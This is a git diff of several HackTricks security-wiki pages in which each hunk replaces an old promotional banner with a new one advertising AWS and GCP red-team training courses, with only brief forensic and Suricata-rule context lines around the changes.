diff --git a/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md b/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md
index 5832ebf2e4c..3a684987717 100644
--- a/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md
+++ b/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md
@@ -1,18 +1,20 @@
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
# Identifying packed binaries
@@ -36,19 +38,21 @@ Other ways to support HackTricks:
However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases.
* When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/README.md b/forensics/basic-forensic-methodology/README.md
index 5b1e70c22e1..a395e7fa07a 100644
--- a/forensics/basic-forensic-methodology/README.md
+++ b/forensics/basic-forensic-methodology/README.md
@@ -1,16 +1,19 @@
# Basic Forensic Methodology
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Creating and Mounting an Image
@@ -89,14 +92,17 @@ Keep in mind the possible use of anti-forensic techniques:
[file-integrity-monitoring.md](file-integrity-monitoring.md)
{% endcontent-ref %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md
index 2dbd7d7a658..052ed2739f8 100644
--- a/forensics/basic-forensic-methodology/linux-forensics.md
+++ b/forensics/basic-forensic-methodology/linux-forensics.md
@@ -443,19 +443,20 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
-
-
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+Support HackTricks
-**Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md
index 831a4438cf6..86c301bc3d1 100644
--- a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md
+++ b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md
@@ -1,16 +1,19 @@
# Memory dump analysis
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
@@ -59,14 +62,17 @@ You should **open** it using **IDA** or **Radare** to inspection it in **depth**
{% embed url="https://www.rootedcon.com/" %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/README.md
index 5b1e70c22e1..a395e7fa07a 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/README.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/README.md
@@ -1,16 +1,19 @@
# Basic Forensic Methodology
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Creating and Mounting an Image
@@ -89,14 +92,17 @@ Keep in mind the possible use of anti-forensic techniques:
[file-integrity-monitoring.md](file-integrity-monitoring.md)
{% endcontent-ref %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md b/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
index f9df47842e0..1219b1fa248 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
@@ -1,16 +1,19 @@
# Image Acquisition & Mount
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
@@ -128,14 +131,17 @@ mount disk.img /mnt -o ro,offset=$((2048*512))
{% embed url="https://websec.nl/" %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
index c7134b6d154..3b62471b09d 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
@@ -443,19 +443,20 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
-
-
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+Support HackTricks
-**Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md
index 30c2282156c..71793cdcab8 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md
@@ -1,16 +1,19 @@
# Suricata & Iptables cheatsheet
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Iptables
@@ -241,14 +244,17 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;)
drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;)
```
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md
index b8f9dc29717..8ec165bdcdd 100644
--- a/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md
+++ b/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md
@@ -1,16 +1,19 @@
# Lateral VLAN Segmentation Bypass
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
